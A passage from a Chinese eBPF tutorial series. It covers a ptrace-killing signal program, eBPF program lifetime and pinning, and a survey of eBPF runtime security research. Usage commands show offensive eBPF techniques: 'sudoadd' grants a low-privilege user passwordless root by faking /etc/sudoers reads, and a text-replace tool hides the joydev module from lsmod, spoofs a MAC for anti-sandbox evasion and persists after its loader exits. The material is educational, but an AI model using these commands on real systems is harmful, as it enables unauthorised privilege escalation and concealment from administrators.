通过直接从内核空间发送信号,避免了用户空间的额外开销,这确保了信号能够在事件发生后立即被发送,大大减少了延迟。
2. 准确性:
得益于减少的延迟,现在我们可以获得更准确的系统状态快照,这对于性能分析和异常检测尤其重要。
3. 灵活性:
这些新的 helper 函数为开发人员提供了更多的灵活性,他们可以根据不同的使用场景和需求来自定义信号的发送逻辑,从而更精确地控制和管理系统行为。
内核态代码分析
在现代操作系统中,一种常见的安全策略是监控和控制进程之间的交互。尤其在Linux系统中,ptrace 系统调用是一个强大的工具,它允许一个进程观察和控制另一个进程的执行,并修改其寄存器和内存。这使得它成为了调试和跟踪工具(如 strace 和 gdb)的主要机制。然而,恶意的 ptrace 使用也可能导致安全隐患。
这个程序的目标是在内核态监控 ptrace 的调用,当满足特定的条件时,它会发送一个 SIGKILL 信号终止调用进程。此外,为了调试或审计目的,该程序会记录这种干预并将相关信息发送到用户空间。
代码分析
1. 数据结构定义 (signal.h)
signal.h
// Simple message structure to get events from eBPF Programs
// in the kernel to user spcae
#define TASK_COMM_LEN 16
struct event {
int pid;
char comm[TASK_COMM_LEN];
bool success;
};
这部分定义了一个简单的消息结构,用于从内核的 eBPF 程序传递事件到用户空间。结构包括进程ID、命令名和一个标记是否成功发送信号的布尔值。
2. eBPF 程序 (signal.bpf.c)
signal.bpf.c
// SPDX-License-Identifier: BSD-3-Clause
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>
#include "common.h"
char LICENSE[] SEC("license") = "Dual BSD/GPL";
// Ringbuffer Map to pass messages from kernel to user
struct {
__uint(type, BPF_MAP_TYPE_RINGBUF);
__uint(max_entries, 256 * 1024);
} rb SEC(".maps");
// Optional Target Parent PID
const volatile int target_ppid = 0;
SEC("tp/syscalls/sys_enter_ptrace")
int bpf_dos(struct trace_event_raw_sys_enter *ctx)
{
long ret = 0;
size_t pid_tgid = bpf_get_current_pid_tgid();
int pid = pid_tgid >> 32;
// if target_ppid is 0 then we target all pids
if (target_ppid != 0) {
struct task_struct *task = (struct task_struct *)bpf_get_current_task();
int ppid = BPF_CORE_READ(task, real_parent, tgid);
if (ppid != target_ppid) {
return 0;
}
}
// Send signal. 9 == SIGKILL
ret = bpf_send_signal(9);
// Log event
struct event *e;
e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0);
if (e) {
e->success = (ret == 0);
e->pid = pid;
bpf_get_current_comm(&e->comm, sizeof(e->comm));
bpf_ringbuf_submit(e, 0);
}
return 0;
}
-
许可证声明
声明了程序的许可证为 "Dual BSD/GPL",这是为了满足 Linux 内核对 eBPF 程序的许可要求。
-
Ringbuffer Map
这是一个 ring buffer 类型的 map,允许 eBPF 程序在内核空间产生的消息被用户空间程序高效地读取。
-
目标父进程ID
target_ppid是一个可选的父进程ID,用于限制哪些进程受到影响。如果它被设置为非零值,只有与其匹配的进程才会被目标。 -
主函数
bpf_dos-
进程检查
程序首先获取当前进程的ID。如果设置了target_ppid,它还会获取当前进程的父进程ID并进行比较。如果两者不匹配,则直接返回。 -
发送信号
使用bpf_send_signal(9)来发送SIGKILL信号。这将终止调用ptrace的进程。 -
记录事件
使用 ring buffer map 记录这个事件。这包括了是否成功发送信号、进程ID以及进程的命令名。
-
总结:这个 eBPF 程序提供了一个方法,允许系统管理员或安全团队在内核级别监控和干预 ptrace 调用,提供了一个对抗潜在恶意活动或误操作的额外层次。
编译运行
eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。
编译:
./ecc signal.bpf.c signal.h
使用方式:
$ sudo ./ecli package.json
TIME PID COMM SUCCESS
这个程序会对任何试图使用 ptrace 系统调用的程序,例如 strace,发出 SIG_KILL 信号。
一旦 eBPF 程序开始运行,你可以通过运行以下命令进行测试:
$ strace /bin/whoami
Killed
原先的 console 中会输出:
INFO [bpf_loader_lib::skeleton] Running ebpf program...
TIME PID COMM SUCCESS
13:54:45 8857 strace true
完整的源代码可以参考:https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/25-signal
总结
通过这个实例,我们深入了解了如何将 eBPF 程序与用户态程序相结合,实现对系统调用的监控和干预。eBPF 提供了一种在内核空间执行程序的机制,这种技术不仅限于监控,还可用于性能优化、安全防御、系统诊断等多种场景。对于开发者来说,这为Linux系统的性能调优和故障排查提供了一种强大且灵活的工具。
最后,如果您对 eBPF 技术感兴趣,并希望进一步了解和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 和教程网站 https://eunomia.dev/zh/tutorials/。
参考资料
- https://github.com/pathtofile/bad-bpf
- https://www.mail-archive.com/netdev@vger.kernel.org/msg296358.html
使用 eBPF 添加 sudo 用户
本文完整的源代码:https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/26-sudo
关于如何安装依赖,请参考:https://eunomia.dev/tutorials/11-bootstrap/
编译:
make
使用方式:
sudo ./sudoadd --username lowpriv-user
这个程序允许一个通常权限较低的用户使用 sudo 成为 root。
它通过拦截 sudo 读取 /etc/sudoers 文件,并将第一行覆盖为 <username> ALL=(ALL:ALL) NOPASSWD:ALL # 的方式工作。这欺骗了 sudo,使其认为用户被允许成为 root。其他程序如 cat 或 sudoedit 不受影响,所以对于这些程序来说,文件未改变,用户并没有这些权限。行尾的 # 确保行的其余部分被当作注释处理,因此不会破坏文件的逻辑。
参考资料
使用 eBPF 替换任意程序读取或写入的文本
完整源代码:https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/27-replace
关于如何安装依赖,请参考:https://eunomia.dev/tutorials/11-bootstrap/
编译:
make
使用方式:
sudo ./replace --filename /path/to/file --input foo --replace bar
这个程序将文件中所有与 input 匹配的文本替换为 replace 文本。
这有很多用途,例如:
隐藏内核模块 joydev,避免被如 lsmod 这样的工具发现:
./replace -f /proc/modules -i 'joydev' -r 'cryptd'
伪造 eth0 接口的 MAC 地址:
./replace -f /sys/class/net/eth0/address -i '00:15:5d:01:ca:05' -r '00:00:00:00:00:00'
恶意软件进行反沙箱检查可能会检查 MAC 地址,寻找是否正在虚拟机或沙箱内运行,而不是在“真实”的机器上运行的迹象。
注意: input 和 replace 的长度必须相同,以避免在文本块的中间添加 NULL 字符。在 bash 提示符下输入换行符,使用 $'\n',例如 --replace $'text\n'。
参考资料
在应用程序退出后运行 eBPF 程序:eBPF 程序的生命周期
eBPF(Extended Berkeley Packet Filter)是 Linux 内核中的一项重大技术创新,允许用户在内核空间中执行自定义程序,而无需修改内核源代码或加载任何内核模块。这为开发人员提供了极大的灵活性,可以观察、修改和控制 Linux 系统。
本文将介绍 eBPF 程序的生命周期,以及如何在用户空间应用程序退出后继续运行 eBPF 程序的方法,还将介绍如何使用 "pin" 在不同进程之间共享 eBPF 对象。本文是 eBPF 开发者教程的一部分,更多详细信息可以在 https://github.com/eunomia-bpf/bpf-developer-tutorial 和 https://eunomia.dev/tutorials 中找到。
通过使用 "detach" 方法来运行 eBPF 程序,用户空间加载程序可以在不停止 eBPF 程序的情况下退出。另外,使用 "pin" 的方法可以在进程之间共享 eBPF 对象,使其保持活动状态。
eBPF 程序的生命周期
BPF对象(包括程序、映射和调试信息)通过文件描述符(FD)进行访问,并具有引用计数器。每个对象都有一个引用计数器,用于追踪对象被引用的次数。例如,当创建一个映射时,内核会分配一个struct bpf_map对象,并将其引用计数器初始化为1。然后,将映射的文件描述符返回给用户空间进程。如果进程退出或崩溃,文件描述符将被关闭,并且映射的引用计数将减少。当引用计数为零时,内存将被释放。
BPF程序使用 maps 有两个阶段。首先,创建 maps 并将其文件描述符存储为BPF_LD_IMM64指令的一部分。当内核验证程序时,它会增加程序使用的 maps 的引用计数,并将程序的引用计数初始化为1。此时,用户空间可以关闭与maps 相关的文件描述符,但 maps 不会被销毁,因为程序仍然在使用它们。当程序文件描述符关闭且引用计数为零时,销毁逻辑将减少 maps 的引用计数。这允许多个不同类型的程序同时使用同一个 maps。
当程序附加到一个挂钩时,程序的引用计数增加。用户空间进程创建 maps 和程序,然后加载程序并将其附加到挂钩上后,就可以退出了。此时,由用户空间创建的 maps 和程序将保持活动状态,因为引用计数>0。这就是BPF对象的生命周期。只要BPF对象的引用计数>0,内核将保持其活动状态。
然而,不同的附加点的行为不同。一些附加点(如XDP、tc的clsact和基于cgroup的hooks)是全局的,即使没有进程使用它们,程序也会继续处理数据包。另一些附加点(如kprobe、uprobe、tracepoint、perf_event、raw_tracepoint、socket过滤器和so_reuseport挂钩)只在持有事件的进程的生命周期内生效。当这些进程崩溃时,内核将分离BPF程序并减少其引用计数。
总结:XDP、tc、lwt和cgroup挂钩是全局的,而kprobe、uprobe、tracepoint、perf_event、raw_tracepoint、socket过滤器和so_reuseport挂钩是本地于进程的。基于文件描述符的API具有自动清理的优点,因此如果用户空间进程出现问题,内核将自动清理所有对象。在网络方面,基于文件描述符的API可以防止程序无限制地运行。
另一种保持 BPF 程序和映射活动的方法是 BPFFS,即BPF文件系统。通过将程序或 maps 固定(pin)到BPFFS中的某个位置,可以增加其引用计数,并使其保持活动状态,即使没有附加到任何位置或任何程序使用固定的BPF程序和 maps 。
了解BPF程序和 maps 的生命周期对于用户安全、可靠地使用BPF是非常重要的。文件描述符、引用计数器和 BPFFS 等机制有助于管理BPF对象的生命周期,确保它们的正确创建、附加、分离和替换。
Kubernetes 中的 eBPF:通过远程过程调用(RPC)部署 eBPF 程序
在 Kubernetes 环境中,部署 eBPF 程序通常需要更高级别的系统权限。通常,这些应用程序需要至少 CAP_BPF 权限,根据程序类型的不同,可能还需要其他权限。在多租户的 Kubernetes 环境中,为每个容器或应用程序授予广泛的权限可能带来安全风险。
为了解决权限问题,一种方法是通过固定(pinning)eBPF 映射来减轻权限要求。固定允许 eBPF 对象在创建它们的进程的生命周期之外保持活动状态,以便其他进程可以访问它们。在 Kubernetes 中,不同的容器可能需要与相同的 eBPF 对象进行交互,因此固定对象很有用。
例如,可以使用特权的初始化器容器来创建并固定一个 eBPF 映射。随后的容器(可能以较低权限运行)可以与固定的 eBPF 对象进行交互。这种方法将权限要求限制在初始化阶段,增强了整体安全性。
在这种背景下,bpfman 项目发挥了关键作用。bpfman,即 BPF Daemon,旨在以更受控且更安全的方式管理 eBPF 程序和映射的生命周期。它充当用户空间与内核空间之间的中间层,提供加载和管理 eBPF 程序的机制,而无需为每个单独的容器或应用程序授予广泛的权限。
在 Kubernetes 中,bpfman 可以作为特权服务部署,负责在集群的不同节点上加载和管理 eBPF 程序。它可以处理 eBPF 生命周期管理的复杂性,如加载、卸载、更新 eBPF 程序,并对其状态进行管理。这种集中化的方法简化了在 Kubernetes 集群中部署和管理 eBPF 程序的过程,同时符合安全最佳实践。
使用 Detach 在应用程序退出后通过任何程序替换 eBPF
在 libbpf 中,可以使用 bpf_object__pin_maps 函数将映射固定到 BPF 对象中。对于程序和链接,也有类似的 API。
以下是一个示例,演示如何使用类似于前一节中的 textreplace 程序的字符串替换示例来展示 detach 方法。可以使用类似的代码将程序、映射和链接固定到 BPF 对象中:
int pin_program(struct bpf_program *prog, const char* path)
{
int err;
err = bpf_program__pin(prog, path);
if (err) {
fprintf(stdout, "could not pin prog %s: %d\n", path, err);
return err;
}
return err;
}
int pin_map(struct bpf_map *map, const char* path)
{
int err;
err = bpf_map__pin(map, path);
if (err) {
fprintf(stdout, "could not pin map %s: %d\n", path, err);
return err;
}
return err;
}
int pin_link(struct bpf_link *link, const char* path)
{
int err;
err = bpf_link__pin(link, path);
if (err) {
fprintf(stdout, "could not pin link %s: %d\n", path, err);
return err;
}
return err;
}
运行示例
在这个示例中,我们将继续使用前一节中的字符串替换示例来演示在应用程序退出后运行 eBPF 程序的方法,并展示潜在的安全风险。通过使用 --detach 参数运行该程序,可以使用户空间加载程序在不停止 eBPF 程序的情况下退出。完整的示例代码可以在 https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/28-detach 中找到。关于如何安装依赖,请参考:https://eunomia.dev/tutorials/11-bootstrap/
在运行之前,请确保已经挂载了 BPF 文件系统:
sudo mount bpffs -t bpf /sys/fs/bpf
mkdir /sys/fs/bpf/textreplace
然后,可以使用以下命令运行带有 detach 参数的 text-replace2 程序:
./textreplace2 -f /proc/modules -i 'joydev' -r 'cryptd' -d
这将在 /sys/fs/bpf/textreplace 目录下创建一些 eBPF 链接文件。加载程序成功运行后,可以使用以下命令检查日志:
sudo cat /sys/kernel/debug/tracing/trace_pipe
# 确认链接文件是否存在
sudo ls -l /sys/fs/bpf/textreplace
最后,要停止程序,只需删除链接文件:
sudo rm -r /sys/fs/bpf/textreplace
参考资料
您可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。
eBPF 运行时安全性:面临的挑战与前沿创新
郑昱笙
扩展伯克利数据包过滤器(eBPF)代表了我们与现代操作系统交互和扩展其能力方式的重大演变。作为一种强大的技术,它使得Linux内核能够响应事件运行沙盒程序,eBPF已成为系统可观察性、网络和安全特性的基石。
然而,像任何与内核紧密接口的系统一样,eBPF 运行时本身的安全性至关重要。在这篇博客中,我们将深入探讨常被忽视的 eBPF 安全性问题,探索旨在保护 eBPF 的机制本身如何被加固。我们将解析 eBPF 验证器的作用,审视当前的访问控制模型,并调查研究中的潜在改进机会。
目录
eBPF如何通过验证器确保安全
eBPF的安全框架在很大程度上取决于其验证器的强大性能。这个组件充当守门人,确保只有安全且符合规范的程序被允许在内核空间运行。
eBPF验证器是什么以及它的作用
eBPF验证器的核心是静态代码分析器。它的主要功能是在BPF程序指令执行前进行审查。它在内核中审查程序副本,操作目标包括:
-
确保程序终止验证器使用深度优先搜索(DFS)算法遍历程序的控制流图,确保它是一个有向无环图(DAG)。这对于保证程序不会进入无限循环,从而确保其终止至关重要。它仔细检查任何无界循环和格式错误或越界跳转,这些都可能破坏内核的正常操作或导致系统挂起。
-
确保内存安全内存安全在内核操作中至关重要。验证器检查可能的越界内存访问,这些访问可能导致数据损坏或安全漏洞。它还防范使用后释放的错误和对象泄漏,这些是常见的可被利用的漏洞。除此之外,它还考虑到硬件漏洞,如幽灵(Spectre),执行缓解措施以防止此类旁路攻击。
-
确保类型安全类型安全是验证器确保的另一个关键方面。通过防止类型混淆错误,它有助于维护内核数据的完整性。eBPF验证器利用BPF类型格式(BTF),它允许准确理解和检查内核的复杂数据结构,确保程序对这些结构的操作是有效和安全的。
-
防止硬件异常硬件异常,如除以零,可能导致程序突然终止和内核恐慌。为了防止这种情况,验证器包括检查未知标量的除法,确保指令按照与aarch64规范一致的方式重写或处理,这些规范规定了这类异常的安全处理。
通过这些机制,eBPF验证器在维护内核的安全性和稳定性中发挥了关键作用,成为eBPF基础设施中不可或缺的组成部分。它不仅加强了系统的防御,还维护了eBPF程序打算执行的操作的完整性,使其成为eBPF生态系统中的重要部分。
eBPF 验证器的工作原理
-
遵循控制流程图 验证器首先通过构建并遵循eBPF程序的控制流程图(CFG)来进行其分析。它细致地计算出每条指令的所有可能状态,同时考虑BPF寄存器集和堆栈。然后根据当前的指令上下文进行安全检查。
其中一个关键步骤是跟踪程序私有BPF堆栈的寄存器溢出/填充情况。这确保了堆栈相关操作不会引起溢出或下溢,避免了数据破坏或成为攻击路径。
-
控制流程图的回边处理 验证器通过识别CFG中的回边来有效处理eBPF程序内的循环。通过模拟所有迭代直到达到预定的上限,从而确保循环不会导致无限制执行。
-
处理大量潜在状态 验证器需要处理程序执行路径中大量潜在状态带来的复杂性。它运用路径修剪逻辑,将当前状态与之前的状态进行比较,判断当前路径是否与之前的路径“等效”,并且有一个安全的出口。这样减少了需要考虑的状态总数。
-
逐函数验证以减少状态数量 为了简化验证过程,验证器进行逐函数分析。这种模块化的方法使得在任何给定时间内需要分析的状态数量得以减少,从而提高了验证过程的效率。
-
按需标量精度追踪以进一步减少状态 验证器运用按需标量精度追踪来进一步减少状态空间。通过在必要时对标量值进行回溯,验证器可以更准确地预测程序的行为,优化其分析过程。
-
超过“复杂性”阈值时终止并拒绝 为了保持实用性能,验证器设定了一个“复杂性”阈值。如果程序分析超过此阈值,验证器将终止过程并拒绝该程序。这样确保只有在可管理的复杂性范围内的程序被允许执行,实现了安全性与系统性能的平衡。
verifier 的挑战
尽管eBPF验证器执行得非常彻底,但它面临着一系列重大挑战:
-
对非root用户暴露时成为攻击目标 随着验证器日益复杂化,它逐渐成为攻击者的青睐目标。由于eBPF具备强大的可编程性,一旦攻击者绕过验证器并在操作系统内核中执行代码,可能带来严重的后果。
-
验证器正确性的复杂推断 确保验证器正确运行,特别是在Spectre缓解方面,并非易事。虽然部分形式的验证已经到位,但仍有许多挑战,特别是在即时编译器(JIT)和抽象解释模型等方面。
-
有时错误拒绝有效程序 由于LLVM(用于编译eBPF程序的基础架构)的优化与验证器的理解能力之间有时存在不匹配,导致一些有效的程序被错误地拒绝。
-
为BPF程序类型维护“稳定的ABI” 为了确保操作系统内核更新时不影响生产环境中运行的BPF程序,“稳定的ABI”至关重要。但在保持此稳定性的同时,不断发展验证器和BPF生态系统也是一大挑战。
-
性能与安全的平衡 在验证复杂的eBPF程序时,性能与安全之间的平衡格外突出。虽然验证器必须保持高效以确保实用性,但同时也不能在安全性上做出妥协,因为它所验证的程序性能对现代计算系统至关重要。
eBPF验证器代表了现代计算安全领域的创新,它巧妙地在最大化程序可编程性和在内核级别保持坚固防御之间找到了平衡。
强化 eBPF 验证器的其他研究工作
- 领域内的规范与验证:将形式化方法应用于Linux内核BPF即时编译器:https://www.usenix.org/conference/osdi20/presentation/nelson
- “使用三态数进行准确、精确和快速的抽象解释”,Vishwanathan等。https://arxiv.org/abs/2105.05398
- “通过自动化形式验证消除BPF JIT的漏洞”,Nelson等。https://arxiv.org/abs/2105.05398
- “使用证明携带方法构建正确且灵活的BPF验证器”,Nelson等。https://linuxplumbersconf.org/event/7/contributions/685/
- “利用程序合成自动优化BPF程序”,徐等。https://linuxplumbersconf.org/event/11/contributions/944/
- “简单且精确地静态分析不受信任的Linux内核扩展”,Gershuni等。https://linuxplumbersconf.org/event/11/contributions/951/
- “对野外存在的投机型类型混淆漏洞进行分析”,Kirzner等。https://www.usenix.org/conference/usenixsecurity21/presentation/kirzner
这些研究共同构成了一个强大而多维的研究倡议,旨在加强eBPF验证的基础,确保其作为扩展Linux内核能力的工具保持安全和高效。
更多eBPF验证器学习资料:
- BPF和Spectre:缓解瞬时执行攻击:https://popl22.sigplan.org/details/prisc-2022-papers/11/BPF-and-Spectre-Mitigating-transient-execution-attacks
eBPF访问控制的限制
在像Ubuntu和SUSE这样的主要Linux发行版禁止非特权用户使用 eBPF 套接字过滤器和 CGroup 程序之后,目前的eBPF访问控制模型只支持一个单一的权限级别。这一级别要求具备CAP_SYS_ADMIN能力,用于所有功能。然而,CAP_SYS_ADMIN因其广泛的特权特性,特别是对于容器环境,带来了显著的风险。
为应对这一问题,Linux 5.6引入了更为细致的权限系统,通过细分eBPF的能力。它引入了一个新的能力CAP_BPF,用于调用bpf系统调用。此外,安装某些类型的eBPF程序还需要其他能力,如CAP_PERFMON用于性能监控或CAP_NET_ADMIN用于网络管理任务。这种设计旨在减少某些攻击类型,如更改进程内存或eBPF映射,这些攻击仍然需要CAP_SYS_ADMIN权限。
然而,这些分割的能力并不能完全防止所有基于eBPF的攻击,如拒绝服务(DoS)和信息窃取。攻击者可能利用这些漏洞制造针对容器的eBPF恶意软件。eBPF在云原生应用中的广泛应用加剧了这种威胁,因为用户可能不小心部署了含有不可信eBPF程序的容器。
此外,eBPF在容器化环境中的风险还没有被完全理解。一些容器服务可能无意中授予了eBPF权限,例如为了实现文件系统挂载功能。现行的权限模型不足以防止容器中这些可能有害的eBPF功能被滥用。
CAP_BPF
在传统上,几乎所有的BPF行为都需要CAP_SYS_ADMIN权限,这同时也授予了广泛的系统访问权限。随着时间的推移,已经有努力将BPF权限与根权限分开。因此,像CAP_PERFMON和CAP_BPF这样的能力被引入,以便在不需要完整的系统管理员权限的情况下,对BPF操作进行更精细的控制,如读取内核内存和加载跟踪或网络程序。
然而,CAP_BPF的范围存在模糊性,导致了认知上的问题。不同于明确定义且用于加载内核模块的CAP_SYS_MODULE,CAP_BPF缺少命名空间约束,这意味着它可以访问所有的内核内存,而不仅仅是与容器相关的部分。这种广泛的访问权限是有问题的,因为BPF程序中的验证器错误可能导致内核崩溃,被视为安全漏洞,导致过多的CVE(常见漏洞和曝光)被记录,即使是那些已经修复的错误。这种对验证器错误的反应引发了不必要的警报和紧迫感,迫使人们修补可能尚未更新的旧内核版本。
此外,一些安全初创公司因利用人们对BPF能力的恐惧来推销产品而受到批评,他们矛盾地使用BPF本身来防御他们强调的问题。这导致了一个矛盾的叙述,其中BPF既被视为问题又被推崇为解决方案。
bpf命名空间
目前的安全模型要求具备 CAP_SYS_ADMIN 权限,以便迭代 BPF 对象 ID,并将其转换为文件描述符(FD)。这样做是为了防止非特权用户访问其他用户的BPF程序,但同时也限制了他们检查自己的BPF对象,这在容器环境中尤为挑战。
尽管用户可以使用CAP_BPF等特定权限运行BPF程序,但他们缺少一种通用的方法来检查这些程序,因为如bpftool这类工具需要CAP_SYS_ADMIN权限。目前在没有CAP_SYS_ADMIN的情况下的解决方法,包括使用SCM_RIGHTS和Unix域套接字在
进程间共享BPF对象的FD,但这被认为不够方便。
为解决这些限制,Yafang Shao提议引入BPF命名空间。这将允许用户在特定的命名空间内创建BPF映射、程序和链接,实现这些对象与其他命名空间用户的隔离。然而,在一个BPF命名空间内的对象对其父命名空间仍然可见,从而使系统管理员能够进行监督。
BPF命名空间在概念上与PID命名空间相似,设计上直观易用。最初的实现重点是BPF映射、程序和链接,未来计划将其扩展到其他BPF对象,如BTF和bpffs。这可能使容器用户能够只追踪自己容器内的进程,而不接触到其他容器的数据,从而在容器化环境中提高安全性和易用性。
参考资料:
- BPF和安全:https://lwn.net/Articles/946389/
- 云上eBPF的跨容器攻击:https://www.usenix.org/system/files/usenixsecurity23-he.pdf
- bpf:引入BPF命名空间:https://lwn.net/Articles/927354/
- ebpf在Linux命名空间运行的情况:https://stackoverflow.com/questions/48815633/ebpf-running-in-linux-namespaces
无特权eBPF
无特权eBPF是指非root用户将eBPF程序加载到内核的能力。由于安全问题,这个特性在所有主要Linux发行版中默认是关闭的。安全担忧主要来自硬件漏洞(如Spectre)和内核漏洞,恶意eBPF程序可能利用这些漏洞泄露敏感数据或攻击系统。
为应对这一挑战,针对这些漏洞的各种版本(如v1、v2和v4)已经实施了缓解措施。然而,这些缓解措施常常以牺牲eBPF程序的灵活性和性能为代价。这种权衡使得该功能对许多用户和应用场景来说变得不具吸引力和实用性。
可信的非特权BPF
鉴于这些挑战,目前正在探索一种名为“可信的非特权BPF”的中间方案。这种方法涉及一个白名单系统,其中已经经过彻底审查并被认为是可信的特定eBPF程序可以由非特权用户加载。审查过程确保只有安全、适合生产环境的程序可以绕过特权要求,保持安全性与功能性之间的平衡。这是朝着在不妥协系统完整性的前提下,更广泛地使用eBPF的一步。
-
宽松的LSM钩子:由于LSM增加了进一步的限制,因此被上游拒绝
Linux安全模块(LSM)的新钩子专门为BPF子系统设计,旨在提供对BPF映射和BTF数据对象更细粒度的控制。这些是现代BPF应用程序的运作基础。
主要添加了两个LSM钩子:bpf_map_create_security和bpf_btf_load_security,它们提供了覆盖依赖于CAP_BPF和CAP_NET_ADMIN等能力的默认权限检查的能力。这种新机制允许更精细的控制,使策略能够强制实施限制或为可信应用程序绕过检查,转移决策至自定义LSM策略实现。
这种方法通过不要求应用程序具备与内核BPF子系统交互所需的BPF相关能力,实现了更安全的默认设置。相反,应用程序可以在没有这些权限的情况下运行,只有被审查并信任的情况才被授予操作权限,就像它们拥有提升的能力一样。
-
BPF令牌概念:特权守护进程通过令牌fd委托BPF的子集
BPF令牌是一种新机制,允许特权守护进程将BPF功能的子集委托给可信的非特权应用程序。这一概念使得容器化的BPF应用程序能够在用户命名空间内安全运行,这在之前由于CAP_BPF能力的安全限制而无法实现。BPF令牌通过内核API创建和管理,并可以在BPF文件系统中固定,以实现控制访问。最新版本的补丁确保BPF令牌被限制在其在BPF文件系统中的创建实例中,以防止误用。这种添加到BPF子系统的功能促进了更安全、更灵活的无特权BPF操作。
-
BPF签名作为守门员:应用程序与BPF程序(没有一刀切的解决方案)
Song Liu提出了一个补丁,通过一个新设备
/dev/bpf允许无特权访问BPF功能。这个设备通过两个新的ioctl命令控制访问,允许对该设备具有写权限的用户调用sys_bpf()。这些命令切换当前任务调用sys_bpf()的能力,权限状态存储在task_struct中。这种权限也可以由任务创建的新线程继承。引入了一个新的辅助函数bpf_capable()来检查任务是否通过/dev/bpf获得了权限。该补丁包括对文档和头文件的更新。 -
RPC到特权BPF守护进程:根据用例/环境的限制
RPC方法(例如bpfd)与BPF令牌概念类似,但它使用特权守护进程来管理BPF程序。这个守护进程负责加载和卸载BPF程序,以及管理BPF映射。守护进程还负责在加载前验证BPF程序。这种方法比BPF令牌概念更灵活,因为它允许更细致的控制BPF程序。然而,它也更复杂,带来了更多的维护挑战和单点故障的可能性。
参考资料:
- 宽松的LSM钩子:https://lore.kernel.org/bpf/20230412043300.360803-1-andrii@kernel.org/
- BPF令牌概念:https://lore.kernel.org/bpf/20230629051832.897119-1-andrii@kernel.org/
- 使用fsverity和LSM守门员进行BPF签名:https://www.youtube.com/watch?v=9p4qviq60z8
- 签名BPF字节码:https://lpc.events/event/16/contributions/1357/attachments/1045/1999/BPF%20Signatures.pdf
- bpfd:https://bpfd.dev/
一些其他的解决方案
这里还有一些关于如何提高eBPF安全性的研究或讨论。现有工作大致可分为三类:虚拟化、软件故障隔离(SFI)和形式方法。使用类似WebAssembly的沙箱部署eBPF程序或在用户空间运行eBPF程序也是一种可能的解决方案。
MOAT:实现安全的BPF内核扩展(隔离)
Linux内核广泛使用伯克利数据包过滤器(BPF),允许用户编写的BPF应用在内核空间中执行。BPF使用验证器来静态检查用户提供的BPF代码的安全性。最近的攻击表明,BPF程序可以绕过安全检查,获得对内核内存的未授权访问,这表明验证过程并非无懈可击。在本文中,我们介绍了MOAT,一个使用英特尔内存保护键(MPK)隔离潜在恶意BPF程序的系统。使用MPK强制执行BPF程序隔离并非易事;MOAT被精心设计以解决技术障碍,如硬件键数量有限和支持各种内核BPF辅助函数。我们已在原型内核模块中实现MOAT,评估结果表明,MOAT在多种真实场景下实现了BPF程序的低成本隔离,例如对memcached数据库的数据包转发BPF程序隔离,平均吞吐量损失为6%。
https://arxiv.org/abs/2301.13421
如果我们必须依赖硬件保护机制,那么语言安全性或验证是否仍然有必要来保护内核及其扩展?
利用动态沙箱释放无特权eBPF的潜力
出于安全原因,如今非特权用户只能有限地通过扩展伯克利数据包过滤器(eBPF)来自定义内核。这非常遗憾,尤其是考虑到近年来eBPF框架本身的范围不断扩大。我们提出SandBPF,一种基于软件的内核隔离技术,它通过动态地对eBPF程序进行沙箱化,允许非特权用户安全地扩展内核,释放eBPF的全部潜能。我们的早期概念验证表明,SandBPF可以有效地防止eBPF本机安全机制(即静态验证)遗漏的漏洞,同时在Web服务器基准测试中带来0%-10%的开销。
https://arxiv.org/abs/2308.01983
这可能与eBPF的原始设计相悖,因为它并非设计为依赖沙箱来确保安全。如果你想使用软件故障隔离,为什么不在内核中使用 webassembly?
内核扩展验证是不切实际的
经过验证的eBPF字节码的出现预示着安全内核扩展的新时代。在本文中,我们认为eBPF的验证器——其安全保证的来源——已成为一个负担。除了众所周知的错误和漏洞(源于内核验证器的复杂性和临时性质),我们还突出了一个令人担忧的趋势,即向不安全的内核函数引入逃逸通道(以辅助函数的形式),旨在绕过验证器对表达性的限制,不幸的是,也绕过了其安全保证。我们提出了使用静态和轻量级运行时技术平衡的安全内核扩展框架。我们描述了一个以安全Rust为中心的内核扩展设计,将消除内核验证器的需要,提高表达性,减少逃逸通道,并最终提高内核扩展的安全性。
https://sigops.org/s/conferences/hotos/2023/papers/jia.pdf
这可能限制内核只加载受信任第三方签名的 eBPF 程序,因为内核本身无法独立验证它们。Rust工具链也存在漏洞。
Wasm-bpf:WebAssembly eBPF库、工具链及运行时
Wasm-bpf是一种WebAssembly eBPF库、工具链和运行时,能够使eBPF程序几乎无需更改代码就能构建成Wasm,并在Wasm沙箱中实现跨平台运行。
它提供了一个可配置的环境,具有限制性的eBPF WASI行为,增强了安全性和控制力。这使得实现细粒度权限成为可能,限制了对内核资源的访问,提供了更安全的环境。例如,可以限制eBPF程序仅用于特定类型的用途,比如网络监控,并且还可以配置哪些类型的eBPF程序能在内核中加载,以及它们可以访问哪些类型的附加事件,而无需修改内核eBPF的权限模型。
- Kubecon talk: https://sched.co/1R2uf
- Repo: https://github.com/eunomia-bpf/wasm-bpf
将应用程序移植到WebAssembly需要额外的工作。此外,内核eBPF的Wasm接口也需要进行维护,就像BPF守护进程一样。
bpftime:用户空间eBPF运行时,用于uprobe、系统调用钩子及插件
bpftime 是一个用户空间eBPF运行时,它使现有的eBPF应用能够在非特权用户空间中运行,使用相同的库和工具链。它为eBPF提供了Uprobe和系统调用跟踪点,与内核uprobe相比有显著的性能提升,且不需要手动的代码插桩或进程重启。运行时促进了用户空间共享内存中的进程间eBPF映射,并与内核eBPF映射兼容,实现了与内核eBPF基础架构的无缝操作。它包括了针对各种架构的高性能LLVM JIT,以及专为x86设计的轻量级JIT和解释器。
- https://arxiv.org/abs/2311.07923
- Linux Plumbers: https://lpc.events/event/17/contributions/1639/
- Repo: https://github.com/eunomia-bpf/bpftime
它的应用仅限于特定类型的eBPF程序和用例,不是一种普遍适用的方法。
结论
